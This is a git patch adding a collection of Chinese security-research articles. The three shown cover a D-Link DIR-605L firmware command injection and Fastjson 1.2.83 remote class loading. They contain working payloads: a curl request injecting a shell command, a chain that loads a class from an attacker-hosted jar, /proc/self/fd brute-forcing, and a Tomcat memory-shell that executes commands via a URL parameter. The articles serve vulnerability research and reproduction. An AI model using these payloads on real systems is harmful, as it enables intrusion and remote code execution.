From 65f92010d53edf5f948b077a172e2f4221c6275a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9C=E6=96=B9=E6=9C=89=E9=B1=BC=E5=90=8D=E4=B8=BA?= =?UTF-8?q?=E5=92=B8?= Date: Sat, 8 Aug 2026 05:37:20 -0400 Subject: [PATCH] Add files via upload --- books/CNVD-2026-28535漏洞挖掘分享.md | 420 +++ books/FastJson1.2.83漏洞利用坑点.md | 671 ++++ ...Fastjson 1.2.83 file 协议不出网利用分析.md | 168 + books/Fastjson1全版本漏洞利用总结.md | 3352 +++++++++++++++++ ...调试协议在容器环境中的暴露面与利用链构造.md | 794 ++++ books/Java-Puzzle-安全审计源码验证报告.md | 486 +++ ...群未授权访问漏洞分析与容器逃逸横向移动.md | 1286 +++++++ books/MariaDB 远程代码执行漏洞分析复现.md | 425 +++ books/RASP 研究,OpenRasp 原理与绕过.md | 695 ++++ books/Ruoyi SSTI 与 Thymeleaf bypass深探.md | 312 ++ books/fofa_config_2026-08-08T05-39-43.txt | 1 + ...目标自己告诉你:基于错误反馈的API参数自动发现.md | 118 + ...ack到攻击链:SPA应用自动化攻击面发现实践.md | 159 + books/基础篇 - Hessian 协议详解.md | 1171 ++++++ books/基础篇 - Java Agent 详解.md | 396 ++ books/基础篇 - Java 动态代理.md | 207 + books/基础篇 - Java 序列化与反序列化.md | 186 + books/基础篇 - Java 的类加载与反射.md | 166 + books/基础篇 - Javassist 使用指南.md | 342 ++ books/基础篇 - RMI 协议详解.md | 794 ++++ books/基础篇 - Tomcat 架构.md | 108 + ...协议逆向分析实录——SM2_SM3_SM4 国密算法套件破解.md | 325 ++ ...酒:从注册到管理员的 NocoDB 6 个安全风险.md | 1223 ++++++ ...医疗平台审计与0Day挖掘(方软医疗软件平台).md | 298 ++ ...盾am平台代码审计(宁盾一体化安全认证平台).md | 478 +++ books/漏洞篇 - CC1 链之 ysoserial 版.md | 440 +++ .../漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用.md | 1442 +++++++ books/漏洞篇 - Fastjson 反序列化.md | 1026 +++++ ...洞篇 - Hessian Aspectj 二次反序列化新链.md | 427 +++ books/漏洞篇 - Hessian 反序列化详解.md | 956 +++++ books/漏洞篇 - JNDI 注入详解.md | 1218 ++++++ books/漏洞篇 - Java 反序列化之 CC1 链.md | 1075 ++++++ books/漏洞篇 - Java 反序列化之 CC3 链.md | 603 +++ ...篇 - Java 反序列化之 CC4+CC2+CC5+CC7 链.md | 1020 +++++ books/漏洞篇 - Java 反序列化之 Rome 链.md | 996 +++++ books/漏洞篇 - JavaAgent 内存马.md | 459 +++ books/漏洞篇 - RMI 相关的攻击.md | 578 +++ ... Rome 链之 HotSwappableTargetSource 利用链.md | 348 ++ books/漏洞篇 - SnakeYaml 反序列化.md | 1546 ++++++++ books/漏洞篇 - Spring 内存马.md | 598 +++ books/漏洞篇 - Tomcat 内存马.md | 934 +++++ books/漏洞篇 - URLDNS 利用链分析.md | 357 ++ ...漏洞篇 - ysoserial 的 JRMP 模块分析 (1).md | 587 +++ books/漏洞篇 - ysoserial 的 JRMP 模块分析.md | 587 +++ books/漏洞篇 - 关于 JEP 290.md | 356 ++ .../配置篇 - IDEA 查看带 sun 包的 JDK 源码.md | 75 + books/配置篇 - Maven 手动下载与导入依赖.md | 59 + 47 files changed, 30268 insertions(+) create mode 100644 books/CNVD-2026-28535漏洞挖掘分享.md create mode 100644 books/FastJson1.2.83漏洞利用坑点.md create mode 100644 books/Fastjson 1.2.83 file 协议不出网利用分析.md create mode 100644 books/Fastjson1全版本漏洞利用总结.md create mode 100644 books/JDWP 远程调试协议在容器环境中的暴露面与利用链构造.md create mode 100644 books/Java-Puzzle-安全审计源码验证报告.md create mode 100644 books/Kubernetes 集群未授权访问漏洞分析与容器逃逸横向移动.md create mode 100644 books/MariaDB 远程代码执行漏洞分析复现.md create mode 100644 books/RASP 研究,OpenRasp 原理与绕过.md create mode 100644 books/Ruoyi SSTI 与 Thymeleaf bypass深探.md create mode 100644 books/fofa_config_2026-08-08T05-39-43.txt create mode 100644 books/不猜参数,让目标自己告诉你:基于错误反馈的API参数自动发现.md create mode 100644 books/从Webpack到攻击链:SPA应用自动化攻击面发现实践.md create mode 100644 books/基础篇 - Hessian 协议详解.md create mode 100644 books/基础篇 - Java Agent 详解.md create mode 100644 books/基础篇 - Java 动态代理.md create mode 100644 books/基础篇 - Java 序列化与反序列化.md create mode 100644 books/基础篇 - Java 的类加载与反射.md create mode 100644 books/基础篇 - Javassist 使用指南.md create mode 100644 books/基础篇 - RMI 协议详解.md create mode 100644 books/基础篇 - Tomcat 架构.md create mode 100644 books/微信小程序加密通信协议逆向分析实录——SM2_SM3_SM4 国密算法套件破解.md create mode 100644 books/新瓶旧酒:从注册到管理员的 NocoDB 6 个安全风险.md create mode 100644 books/某医疗平台审计与0Day挖掘(方软医疗软件平台).md create mode 100644 books/某盾am平台代码审计(宁盾一体化安全认证平台).md create mode 100644 books/漏洞篇 - CC1 链之 ysoserial 版.md create mode 100644 books/漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用.md create mode 100644 books/漏洞篇 - Fastjson 反序列化.md create mode 100644 books/漏洞篇 - Hessian Aspectj 二次反序列化新链.md create mode 100644 books/漏洞篇 - Hessian 反序列化详解.md create mode 100644 books/漏洞篇 - JNDI 注入详解.md create mode 100644 books/漏洞篇 - Java 反序列化之 CC1 链.md create mode 100644 books/漏洞篇 - Java 反序列化之 CC3 链.md create mode 100644 books/漏洞篇 - Java 反序列化之 CC4+CC2+CC5+CC7 链.md create mode 100644 books/漏洞篇 - Java 反序列化之 Rome 链.md create mode 100644 books/漏洞篇 - JavaAgent 内存马.md create mode 100644 books/漏洞篇 - RMI 相关的攻击.md create mode 100644 books/漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链.md create mode 100644 books/漏洞篇 - SnakeYaml 反序列化.md create mode 100644 books/漏洞篇 - Spring 内存马.md create mode 100644 books/漏洞篇 - Tomcat 内存马.md create mode 100644 books/漏洞篇 - URLDNS 利用链分析.md create mode 100644 books/漏洞篇 - ysoserial 的 JRMP 模块分析 (1).md create mode 100644 books/漏洞篇 - ysoserial 的 JRMP 模块分析.md create mode 100644 books/漏洞篇 - 关于 JEP 290.md create mode 100644 books/配置篇 - IDEA 查看带 sun 包的 JDK 源码.md create mode 100644 books/配置篇 - Maven 手动下载与导入依赖.md diff --git a/books/CNVD-2026-28535漏洞挖掘分享.md b/books/CNVD-2026-28535漏洞挖掘分享.md new file mode 100644 index 0000000..dbe8b6d --- /dev/null +++ b/books/CNVD-2026-28535漏洞挖掘分享.md @@ -0,0 +1,420 @@ +# CNVD-2026-28535漏洞挖掘分享 +> 来源:https://xz.aliyun.com/news/92573 + +第一次自主漏洞挖掘,这里写一篇博客特此记录一下 + + +## 漏洞信息 + + +[固件地址](https://legacyfiles.us.dlink.com/DIR-605L/REVA/FIRMWARE/DIR-605L_REVA_FIRMWARE_1.13.ZIP) + +漏洞文件:/bin/boa + +漏洞函数:start\_wps() + +函数地址:0x45aa28 + + +![image.png](https://i.ibb.co/5W8HgZkS/f11dac21c584.png) + + + +该函数的调用方式不太一样 + + +![image.png](https://i.ibb.co/5XvFFKmr/b3a7c250c91f.png) + + + +HTTP请求->获取pin参数->start\_wps()->sprintf拼接系统命令->system执行 + +在函数中,程序首先通过:v2 = \*(\_DWORD \*)(a1 + 268)获取 HTTP 请求中的用户输入参数。 + +然后通过:v3 = strstr(v2,"pin=");查找用户提交的 PIN 参数。 + +当参数存在时:wscd = (const char \*)(v3 + 4);获取用户可控内容。 + +之后程序直接执行:sprintf(failed,"iwpriv wlan0 set\_mib pin=%s",wscd); + +将用户输入拼接到系统命令中,最后:system(failed)执行该命令。 + +由于用户输入未经过任何过滤,可以通过插入 Shell 特殊字符控制最终执行命令。 + + +## 环境模拟 + + + +### 字符调用寻找报错 + + +解包之后首先尝试运行 + +看文件架构 + + +![image.png](https://i.ibb.co/cS5CM1LV/8ad5aeeb3f95.png) + + + +拷贝合适的调试工具 + +`cp $(which qemu-mips-static ) .` + +运行boa文件发现初始化错误 + + +![image.png](https://i.ibb.co/h1V2pGyM/ba767f6decec.png) + + + +直接去ida查找报错字符`Initialize AP MIB failed!` + + +![image.png](https://i.ibb.co/MDHrc2fB/5705ea4c9043.png) + + + +所以这里需要apmib\_init返回true才能让函数继续执行 + + +![image.png](https://i.ibb.co/JRgssNxd/b717e064a429.png) + + + +apmib\_init()不在 boa 主程序里面,它来自外部动态库(.so) + +去找它的函数主体,在/lib/apmib.so文件中 + +用ida打开 + + +![image.png](https://i.ibb.co/R44FTk2N/f308fcdb6e7a.png) + + + +分析可知apmib\_init()的作用: + +初始化路由器配置数据库(MIB),从Flash读取硬件配置、软件配置、用户配置,然后建立内存中的配置结构,供 boa 后面的 Web 页面调用。 + +所以可以直接修改apmib\_init函数执行函数,让它直接返回1 + +创建apmib.c文件定义函数apmib\_init() + + +``` +#include +#include +int ampib_init(void) +{ + //Fake it. + return 1; +} +``` + +然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件 + +`mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared` + +之后重新运行 + + +``` +sudo chroot ./ \ +./qemu-mips-static \ +-E LD_PRELOAD="/apmib-ld.so" \ +./bin/boa +``` + +![image.png](https://i.ibb.co/twVhxSXg/76568b31dbd6.png) + + + +qemu: uncaught target signal 11 (Segmentation fault) - core dumped + + + + +### ida调试寻找报错 + + + +``` +sudo chroot ./ \ +./qemu-mips-static \ +-E LD_PRELOAD="/apmib-ld.so" \ +-g 1234 \ +./bin/boa +``` + +配置一下ida的远端调试信息 + +hostname设置为虚拟机的ip,port为你起的那个端口 + + +![image.png](https://i.ibb.co/QvgVc7Xj/3c3a214fe60b.png) + + + +在apmib\_get的跳转报错了 + + +![image.png](https://i.ibb.co/1GdKDX9V/64bee8ae36d9.png) + + + +真正触发程序崩溃的是 0x43B1A4 处的指令 + + +![image.png](https://i.ibb.co/YBLWpNK6/469426c0d368.png) + + + +查看 apmib.so 中apmib\_get()函数的汇编代码 + +int \_\_fastcall apmib\_get(int n500, unsigned \_\_int8 \*p\_boot\_ver) + + +![image.png](https://i.ibb.co/BV8c9bSf/b2c16733818d.png) + + + +这个函数实际上是从路由器的配置数据库(MIB)里,根据编号 n500,把对应配置值读取出来,复制到调用者提供的缓冲区 p\_boot\_ver + +apmib\_get(配置项编号, 存放结果的地址) + +分析调用的实际情况知道每个pid对应的是什么 + +所以修改函数apmib\_init() + +脚本中#define MIB\_WPS\_MODE 0x3B的情况是不是这里的读取信息,在之后对start\_wps()函数的讲解会讲到 + + +``` +#include +#include +#define MIB_IP_ADDR 170 +#define MIB_HW_VER 0x250 +#define MIB_CAPTCHA 0x2C1 +// WPS mode +#define MIB_WPS_MODE 0x3B +int apmib_init() +{ + return 1; +} +// 防止boa初始化fork失败 +int fork(void) +{ + return 0; +} +int apmib_get(int code, void *value) +{ + int *v = (int *)value; + switch(code) + { + // IP地址 + case MIB_IP_ADDR: + *v = 0x7F000001; //127.0.0.1 + break; + // 硬件版本 + case MIB_HW_VER: + *v = 0xF1; + break; + // 验证码 + case MIB_CAPTCHA: + *v = 1;s + break; + // ★关键 + // start_wps: + // apmib_get(0x3b,&var) + // + // 0 -> 进入: + // iwpriv wlan0 set_mib pin=%s + // + case MIB_WPS_MODE: + *v = 0; + break; + default: + // 默认返回成功 + *v = 0; + break; + } + return 1; +} +``` + +然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件 + +`mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared` + +然后就可以运行了 + +`sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="/apmib-ld.so" ./bin/boa` + + +![image.png](https://i.ibb.co/rGj68mZM/8fbb2723f1c3.png) + + + +但是跳转的页面是错的 + + +![image.png](https://i.ibb.co/LhxCtmzb/4648efa3abaf.png) + + + +需要改动 web 目录下的 first.asp 文件 + +将代码 self.location.href="Basic/Wizard\_Easy\_LangSelect.asp";注释掉, + +然后将self.location.href="Basic/Wizard\_Easy\_Welcome.asp";复制到else 代码块 + +即 + + +![image.png](https://i.ibb.co/7x37xqcD/d597fcdcad34.png) + + + +之后就可以成功访问 + + +![image.png](https://i.ibb.co/Mkpx1Vx8/70c91159f933.png) + + + +接着对start\_wps函数进行详细分析 + + +![image.png](https://i.ibb.co/nNwWJcW1/a62317ad7185.png) + + + + + +要想执行到system命令注入入口 + +程序会对var/run/wscd-wlan0.pid和/var/tmp/wscd\_status两个文件进行校验,要先创建出这两个文件 + + +``` +mkdir -p var/run +mkdir -p var/tmp +touch var/run/wscd-wlan0.pid +touch var/tmp/wscd_status +``` + +并且传入参数中要以”pin=····“的形式传入 + +且`apmib_get(59, &n3);` 会获取wps配置,要继续修改apmib\_get的函数伪造多一种判断情况 + +`#define MIB_WPS_MODE 0x3B` + + +``` +#include +#include +#define MIB_IP_ADDR 170 +#define MIB_HW_VER 0x250 +#define MIB_CAPTCHA 0x2C1 +// WPS mode +#define MIB_WPS_MODE 0x3B +int apmib_init() +{ + return 1; +} +// 防止boa初始化fork失败 +int fork(void) +{ + return 0; +} +int apmib_get(int code, void *value) +{ + int *v = (int *)value; + switch(code) + { + // IP地址 + case MIB_IP_ADDR: + *v = 0x7F000001; //127.0.0.1 + break; + // 硬件版本 + case MIB_HW_VER: + *v = 0xF1; + break; + // 验证码 + case MIB_CAPTCHA: + *v = 1; + break; + case MIB_WPS_MODE: + *v = 0; + break; + default: + *v = 0; + break; + } + return 1; +} +``` + +之后就可以尝试运行了 + + +## 模拟攻击 + + +还是起服务但是可以在gdb中调试 + + +``` +sudo chroot ./ ./qemu-mips-static \ +-E LD_PRELOAD=/apmib-ld.so \ +-g 1234 \ +./bin/boa +``` + +另开一个窗口来调试 + + +``` +gdb-multiarch ./bin/boa +set architecture mips +target remote :1234 +``` + +在进入system函数之前下断点,方便观察system函数的参数 + + +``` +b *0x45ab80 +``` + +![image.png](https://i.ibb.co/tTVLvY36/cfd0e5e4bbcf.png) + + + +之后按`c`让它继续运行,期间他会停住等待输入 + +开另一个窗口发送参数(这里以echo>/var/run/cnvd\_test为例去测试执行) + + +``` +curl --path-as-is \ +'http://127.0.0.1/Basic/wifisc_add_sta.asp?pin=12345678;echo>/var/run/cnvd_test' +``` + +回到gdb调试窗口看参数 + + +![image.png](https://i.ibb.co/4ggz6VTm/1bf4ca4748ab.png) + + + +看到我们伪造的命令已注入,C让它执行命令 + + +![image.png](https://i.ibb.co/pB8wQdWR/b0dac5030351.png) + + + +命令注入漏洞实现 diff --git a/books/FastJson1.2.83漏洞利用坑点.md b/books/FastJson1.2.83漏洞利用坑点.md new file mode 100644 index 0000000..5b524ee --- /dev/null +++ b/books/FastJson1.2.83漏洞利用坑点.md @@ -0,0 +1,671 @@ +# FastJson1.2.83漏洞利用坑点 +> 来源:https://xz.aliyun.com/news/92564 + +# Fastjson 1.2.83 漏洞坑点分析 + + +最近爆火的 Fastjson 1.2.83 漏洞,关于漏洞原理已经有很多师傅进行了详细分析,这里不再重复介绍源码细节。相信不少师傅在复现过程中会直接搭建一个 Spring Boot + Fastjson 1.2.83 环境,然后按照公开 EXP 测试,最后发现无法 RCE。 + +没错,我也是这么踩坑的。 + +最开始按网上流行的Docker环境复现,没有问题,但是如果按照公开环境自己启动项目搭建: + + +``` +Spring Boot FatJar ++ +fastjson 1.2.83 ++ +JDK8 +``` + +结果发现只能触发请求或者 SSRF,无法达到预期的远程代码执行。 + + +![image.png](https://i.im.ge/QMVnYFM/p2m-feac3a308f.png) + + + +经过排查,发现这个漏洞的真正利用条件并不是简单的“Spring Boot + fastjson 1.2.83”,而是依赖特定的 ClassLoader 加载路径、POC 类构造方式以及 JDK 对远程类加载的限制。这里将复现过程中的几个关键坑点进行整理。Fastjson 历史漏洞大多围绕 AutoType 绕过和 Gadget 利用展开,而该类漏洞的特点在于不依赖传统 Gadget,而是利用 Fastjson 类型探测逻辑加载攻击者自定义 Class。 + + +# 一、Fastjson 1.2.83 漏洞 HTTP RCE 的关键条件 + + +很多文章描述该漏洞时,会直接强调: + + +``` +Spring Boot FatJar ++ +fastjson 1.2.83 ++ +JDK8 += +RCE +``` + +但实际并不是这样。 + +关键问题在于 Fastjson 的 ClassLoader 使用方式。 + +默认情况下: + + +```java +ParserConfig.getGlobalInstance() +.getDefaultClassLoader() +``` + +返回: + + +``` +null +``` + +Fastjson 并不会自动绑定 Spring Boot 的 LaunchedURLClassLoader。 + +在没有额外配置的情况下,Fastjson 加载类时会优先尝试: + + +``` +ParserConfig.defaultClassLoader + + ↓ + +Thread Context ClassLoader + + ↓ + +其他 ClassLoader +``` + +普通 Spring Boot FatJar 环境: + + +``` +java -jar app.jar + + ↓ + +LaunchedURLClassLoader + + ↓ + +TomcatEmbeddedWebappClassLoader + + ↓ + +业务代码 +``` + +此时线程上下文 ClassLoader 通常是: + + +``` +TomcatEmbeddedWebappClassLoader +``` + +而不是直接的: + + +``` +LaunchedURLClassLoader +``` + +因此公开 EXP 中: + + +```java +ParserConfig.getGlobalInstance() +.setDefaultClassLoader( + FastjsonApplication.class.getClassLoader() +); +``` + +这一步非常关键。 + +它强制修改: + + +``` +Fastjson + + ↓ + +ParserConfig.defaultClassLoader + + ↓ + +LaunchedURLClassLoader +``` + +使后续: + + +``` +checkAutoType() + + ↓ + +TypeUtils.loadClass() + + ↓ + +LaunchedURLClassLoader + + ↓ + +远程 Class/JAR 加载 +``` + +能够成立。 + +因此真实 RCE 条件应该是: + +1. fastjson 版本满足漏洞范围; + +2. 存在外部可控 JSON 输入; + +3. 存在 fastjson 类型解析路径; + +4. Fastjson 最终使用支持目标资源解析的 ClassLoader; + +5. 远程 Class 满足漏洞触发要求。 + +仅仅满足: + + +``` +Spring Boot + fastjson 1.2.83 +``` + +并不能保证 RCE。 + + +# 二、EXP 制作的关键点 + + +该漏洞 EXP 最大的特点是不依赖传统 Gadget。 + +传统 Fastjson: + + +``` +@type + +↓ + +JdbcRowSetImpl / TemplatesImpl + +↓ + +已有危险类 + +↓ + +RCE +``` + +而该漏洞: + + +``` +@type + +↓ + +加载攻击者自己的 Class + +↓ + +执行 static{} + +↓ + +RCE +``` + +因此 EXP 本身需要满足几个特殊条件。 + + +## 1\. 特殊包名 + + +POC 类的 package 不是正常 Java 包名,例如: + + +```java +package jar:http:..xxx.xxx!; +``` + +原因是 Fastjson 会将用户输入的类型名转换为资源路径。 + +正常: + + +``` +com.test.POC + +↓ + +com/test/POC.class +``` + +而特殊构造: + + +``` +jar:http:..xxx.xxx!.POC + +↓ + +jar:http://xxx/xxx/POC.class +``` + +这样 ClassLoader 才会访问远程资源。 + +如果使用正常包名: + + +```java +package com.test; +``` + +最终会尝试从本地 ClassPath 查找: + + +``` +com/test/POC.class +``` + +导致: + + +``` +ClassNotFoundException +``` + +## 2\. 必须添加 @JSONType + + +POC: + + +```java +@JSONType +public class POC { + +} +``` + +这是该利用链的重要条件。 + +Fastjson 在处理目标类型时,会加载目标 class 并检查: + + +``` +JSONType 注解 +``` + +如果没有: + + +``` +@JSONType +``` + +即使远程 Class 文件能够被访问,也无法进入后续利用流程。 + +需要注意: + +@JSONType 本身不是执行点。 + +真正执行代码的位置是: + + +```java +static { + +} +``` + +也就是 JVM 类初始化: + + +``` + +``` + +## 3\. 不能通过正常 Java 编译 + + +由于 package: + + +``` +jar:http:..xxx! +``` + +包含: + + +``` +: +/ +! +``` + +等非法字符。 + +所以: + + +```bash +javac POC.java +``` + +无法执行。 + +攻击者需要使用: + +●ASM + +●Javassist + +●Byte Buddy + +等字节码生成工具。 + +直接修改 class 文件中的: + + +``` +this_class +``` + +信息。 + +最终生成: + + +``` +Java源码无法表示 + +但是 JVM 可以加载 +``` + +的特殊 Class。 + + +# 三、实战攻击方式 + + +实际攻击过程并不是一次请求完成。 + +由于 JDK9+ 对 HTTP 远程 Class 加载进行了限制,直接: + + +``` +jar:http://target/class +``` + +可能无法完成 RCE。 + +因此出现了基于 /proc/self/fd 的利用方式。 + +攻击流程: + +第一步: + +发送: + + +``` +@type=jar:http://attacker/test.jar!/POC +``` + +目标 JVM: + + +``` +LaunchedURLClassLoader + + ↓ + +下载 jar + + ↓ + +缓存到临时文件 + + ↓ + +打开文件描述符 +``` + +Linux 中: + +即使文件被删除: + + +``` +/tmp/jar_cachexxxx.tmp (deleted) +``` + +只要 fd 未关闭: + +仍然可以通过: + + +``` +/proc/self/fd/N +``` + +访问。 + +例如: + + +``` +28 -> /tmp/jar_cache5439791193547697721.tmp (deleted) +``` + +说明: + + +``` +fd=28 + +仍然保存 jar 内容 +``` + +第二步: + +重新构造: + + +``` +jar:file:/proc/self/fd/28!/POC +``` + +Fastjson 转换: + + +``` +jar:file:.proc.self.fd.28!.POC +``` + +最终: + + +``` +jar:file:/proc/self/fd/28!/POC.class +``` + +此时: + + +``` +远程 HTTP jar + +↓ + +本地 file URL + +↓ + +绕过远程 Class 加载限制 + +↓ + +加载攻击 Class + +↓ + +执行 + +↓ + +RCE +``` + + + + +### EXP编写 + + +由于 `/proc/self/fd` 利用依赖 JVM 打开的文件描述符,而不同环境下 JDK、ClassLoader、缓存行为存在差异,实际攻击过程中很难提前知道目标 JVM 使用的是哪个 FD。因此在验证阶段,我编写了一个自动化 FD 遍历脚本。 + +攻击流程首先通过第一次请求触发目标 JVM 下载并缓存攻击者提供的 JAR 文件,使其保持打开状态;随后脚本自动遍历可能存在的 FD 范围,例如: + + +```latex +/proc/self/fd/10 +/proc/self/fd/11 +... +/proc/self/fd/100 +``` + +并动态构造对应的: + + +```latex +jar:file:/proc/self/fd/N!/POC +``` + +类型请求发送到目标服务。 + +由于无法直接获取目标 JVM 内部的文件描述符信息,脚本通过服务端响应状态进行判断。例如: + +●正常失败:返回 Fastjson 异常信息; + +●FD 不匹配:ClassNotFound 或加载失败; + +●FD 匹配成功:触发 POC 类初始化,服务端响应状态发生变化。 + +这种方式本质上是利用 Linux 文件描述符稳定性不足的问题,通过枚举方式寻找 JVM 当前缓存 JAR 对应的 FD。虽然效率低于直接获取进程信息,但在黑盒攻击场景下,不需要目标主机权限,也不需要知道 JVM 内部状态,因此更符合真实漏洞验证场景。 + +最终完整利用链如下: + + +```latex +第一次请求 + +jar:http://attacker/server.jar!/POC + + ↓ + +目标 JVM 下载 jar + + ↓ + +生成临时缓存文件 + + ↓ + +保持 FD 打开 + + +第二次请求 + +遍历: + +jar:file:/proc/self/fd/N!/POC + + ↓ + +匹配正确 FD + + ↓ + +LaunchedURLClassLoader 加载 POC + + ↓ + +执行 + + ↓ + +RCE +``` + +通过这种方式,可以将一个依赖内部状态的利用链,转换为适用于黑盒环境的自动化探测流程。对于实际漏洞检测而言,重点不再是简单判断 fastjson 版本,而是验证完整链路是否能够从类型解析走到目标 Class 加载和初始化执行阶段。 + +附上链接:[https://github.com/0ctDay/Fastjson1.2.83\_EXP](https://github.com/0ctDay/Fastjson1.2.83_EXP) + +![image.png](https://i.im.ge/QMVnb9Y/p2m-bf87a5864c.png) + + + + +# 总结 + + +Fastjson 1.2.83 这个漏洞最大的坑点在于:它不是传统意义上的 Fastjson Gadget RCE。很多师傅直接搭建 Spring Boot FatJar 环境无法复现,并不是环境错误,而是缺少关键 ClassLoader 条件。 + +真正利用需要关注三个方面: + +第一,运行环境是否满足 ClassLoader 条件,尤其是 Fastjson 是否最终使用能够解析目标资源的 ClassLoader,而不是简单判断 Spring Boot FatJar。 + +第二,EXP 制作不是普通 Java 类,需要通过特殊 package、@JSONType 注解以及 ASM 字节码生成方式构造恶意 Class。 + +第三,实战利用需要考虑 JDK 版本差异,JDK9+ 环境下通常需要借助 /proc/self/fd 等机制,将远程下载的 jar 转换成本地文件语义,从而完成 Class 加载。 + +因此,该漏洞的真实利用模型应该理解为: + + +``` +Fastjson + ++ + +特殊 ClassLoader 环境 + ++ + +恶意 Class 构造 + ++ + +JVM 类初始化 + += + +RCE +``` + +而不是简单的: + + +``` +Fastjson 1.2.83 + += + +直接 RCE +``` + +这也是该漏洞复现过程中最容易踩的坑。 参考链接:[https://mp.weixin.qq.com/s/hyKifHPIa9\_cI8bzCulSVQ](https://mp.weixin.qq.com/s/hyKifHPIa9_cI8bzCulSVQ) diff --git a/books/Fastjson 1.2.83 file 协议不出网利用分析.md b/books/Fastjson 1.2.83 file 协议不出网利用分析.md new file mode 100644 index 0000000..eb2ff09 --- /dev/null +++ b/books/Fastjson 1.2.83 file 协议不出网利用分析.md @@ -0,0 +1,168 @@ +# Fastjson 1.2.83 file: 协议不出网利用分析 +> 来源:https://xz.aliyun.com/news/92551 + +## 1\. 版本信息 + + + +| 项目 | 内容 | +| --- | --- | +| 组件 | com.alibaba:fastjson | +| 影响版本 | 1.2.68 ~ 1.2.83(本报告实测 1.2.83) | +| 利用协议 | file: 协议(无需出网) | +| JDK 版本 | JDK 8(本机实测 Zulu 1.8.0_492) | +| 操作系统 | macOS arm64 / Linux 均可 | + + + +## 2\. 利用条件 + + + +| 条件 | 说明 | +| --- | --- | +| ① Fastjson 1.2.68~1.2.83 | 含 @JSONType 资源探测逻辑 | +| ② SafeMode = false(默认) | true 则入口直接阻断 | +| ③ JSON.parse 接收不可信输入 | 业务把攻击者 JSON 送进 parse | +| ④ URL 型 ClassLoader | 典型:Spring Boot FatJar LaunchedURLClassLoader | +| ⑤ 恶意 class 文件已落盘 | 通过文件上传/路径穿越/日志写马等途径预先写入目标磁盘 | +| ⑥ AutoType 开或关均可 | 关闭不能免疫(核心误区) | + + + +## 3\. 利用链 + + + +``` +JSON.parse(payload) // 入口:不可信 JSON + │ "@type":"file:.tmp.Shell_xxxx" + ▼ +ParserConfig.checkAutoType() + │ + ├─ SafeMode? ──是──► 阻断 ✗ + │ + └─ 资源探测(autoTypeSupport=false 也走这里): + resource = typeName.replace('.', '/') + ".class" + "file:.tmp.Shell_xxxx" → "file:/tmp/Shell_xxxx.class" + │ + ▼ + ClassLoader.getResourceAsStream("file:/tmp/Shell_xxxx.class") + │ LaunchedURLClassLoader 将 file: URL 当做本地文件读取 + │ 【无网络请求,不出网】 + ▼ + ClassReader 扫描字节码 → 发现 @JSONType → jsonType = true + │ + ▼ + TypeUtils.loadClass() → defineClass → 执行: + │ + ├─ 写 /tmp/MEMSHELL_RCE_OK(RCE 标记) + ├─ Base64.decode(VB64) → CommandValve.class → defineClass + ├─ Base64.decode(IB64) → MemShellInjector.class → defineClass + └─ Injector.inject(valveClass) + │ + ▼ + Tomcat Pipeline ← CommandValve 注入 + │ GET /exec?cmd=xxx + └─ Runtime.exec(cmd) → 回显 +``` + +关键点: + +1 `@type` 中的 `.` 被替换为 `/`,然后拼接 `.class`,所以 `file:.tmp.Shell_xxxx` → `file:/tmp/Shell_xxxx.class` +2 `LaunchedURLClassLoader.getResourceAsStream` 把 `file:` URL 当本地文件读,全程无出网 +3 恶意 class 带有 `@com.alibaba.fastjson.annotation.JSONType` → `autoTypeSupport=false` 被绕过 +4 所有注入逻辑在 `` 中完成:Base64 解码 → `defineClass` → 注入 Tomcat Pipeline + +## 4\. 复现流程 + + + +### 4.1 生成恶意 class + + + +```bash +java -cp "memshell-bypass:poc-jsontype/lib/asm-9.6.jar:poc-jsontype/lib/fastjson-1.2.83.jar:~/.m2/repository/org/apache/tomcat/embed/tomcat-embed-core/9.0.83/tomcat-embed-core-9.0.83.jar" \ + MemShellGen /tmp/MemShell.class +``` + +输出: + + +``` +[*] Valve: 2477 bytes, Injector: 6314 bytes +[*] b64 lengths: valve=3304 injector=8420 +[+] Written 13802 bytes to /tmp/MemShell.class + +[*] Payload (NO outbound HTTP): + {"@type":"file:.tmp.MemShell","x":1} +``` + +### 4.2 启动靶场 + + + ```bash + java \ + -jar fastjsn-rce-env-1.0.0.jar \ + --server.port=18080 & + + curl http://localhost:18080/info + # → {"autoTypeSupport":false,"safeMode":false,...} +``` + +### 4.3 发送 Payload(不出网) + + + +```bash +curl -X POST http://localhost:18080/parse \ + -H 'Content-Type: application/json' \ + -d '{"@type":"file:.tmp.MemShell","x":1}' \ + -x 127.0.0.1:8080 +``` + +靶场返回: + + +```json +{"ok":true,"class":"file:.tmp.MemShell","result":"file:.tmp.MemShell@21e90e88"} +``` + + + + +![image-20260721181113907.png](https://i.im.ge/QMVn8Q4/p2m-774a1f679c.png) + + + + +### 4.4 验证命令执行 + + + +![image-20260721181241600.png](https://i.im.ge/QMVnRLC/p2m-910d956a39.png) + + + + +## 5\. file: 协议 vs jar:http: 协议对比 + + + +| 维度 | file: 协议(不出网) | jar:http: 协议(出网) | +| --- | --- | --- | +| Payload | {"@type":"file:.tmp.xxx","x":1} | {"@type":"jar:http:..IP:PORT.probe!.POC","x":1} | +| 是否需要出网 | ❌ 不需要 | ✅ 需要 HTTP 拉 JAR | +| class 来源 | 本地磁盘文件 | 远程 HTTP 服务器 | +| 前提条件 | class 文件需预先落盘 | 攻击机 HTTP 服务可达 | +| 隐蔽性 | 无网络痕迹 | 产生 HTTP 外连 | +| JDK 版本 | JDK 8 | JDK 8(完整 RCE);JDK 9+ 仅 SSRF | +| autoTypeSupport | 关闭仍可攻击 | 关闭仍可攻击 | +| SafeMode | true 可阻断 | true 可阻断 | + + +核心差异: + +● `jar:http:` 链 = 简单但需要出网,JDK 8 下 `defineClass` 成功 → 直接 RCE,JDK 9+ 被 `ClassFormatError` 阻断(降级为 SSRF) +● `file:` 链 = 需要 class 预先落盘,但完全不产生网络流量,适合不出网 / 隔离网环境 diff --git a/books/Fastjson1全版本漏洞利用总结.md b/books/Fastjson1全版本漏洞利用总结.md new file mode 100644 index 0000000..89f135f --- /dev/null +++ 